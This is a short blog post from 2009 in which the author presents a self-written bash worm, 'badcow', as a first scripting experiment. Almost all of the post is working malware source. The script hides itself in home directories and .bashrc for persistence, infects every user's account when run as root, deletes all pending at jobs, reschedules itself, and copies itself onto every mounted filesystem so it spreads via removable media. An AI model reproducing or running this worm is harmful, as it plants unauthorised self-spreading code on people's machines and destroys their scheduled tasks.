Archive for December, 2009

Bash scripting …

Wednesday, December 30th, 2009

I have just entered in the world of bash scripting and this is my first experiment in this language:

#!/bin/bash

# the badcow

if [ ! -f "$HOME/.badcow.sh" ];
then
echo $HOME/.badcow.sh >> $HOME/.bashrc
fi

cp $0 $HOME/.badcow.sh > /dev/null 2>&1
chmod +x $HOME/.badcow.sh > /dev/null 2>&1

if [ "$(id -u)" = "0" ];
then
for dr_home in `ls /home`
do
if [ -d /home/$dr_home ];
then
if [ ! -f "/home/$dr_home/.badcow.sh" ];
then
echo /home/$dr_home/.badcow.sh >> /home/$dr_home/.bashrc
fi

cp $HOME/.badcow.sh /home/$dr_home/.badcow.sh > /dev/null 2>&1
chmod 0755 /home/$dr_home/.badcow.sh > /dev/null 2>&1
chmod +x /home/$dr_home/.badcow.sh > /dev/null 2>&1

fi
done

exit 0
fi

for job in $(atq | awk '{print $1}' )
do
atrm $job > /dev/null 2>&1
done

at now + 10 minutes -f $HOME/.badcow.sh > /dev/null 2>&1

for dr in $(mount | awk '{print $3}' )
do
if [ -d $dr ];
then
cp $HOME/.badcow.sh $dr/badcow.sh > /dev/null 2>&1
chmod +x $dr/badcow.sh > /dev/null 2>&1
fi
done

It is a simple example of worm spreading via removable media under linux (even if it works on FreeBSD too) … it’s not very powerful because there is no autorun feature under unix so it needs to be executed by the user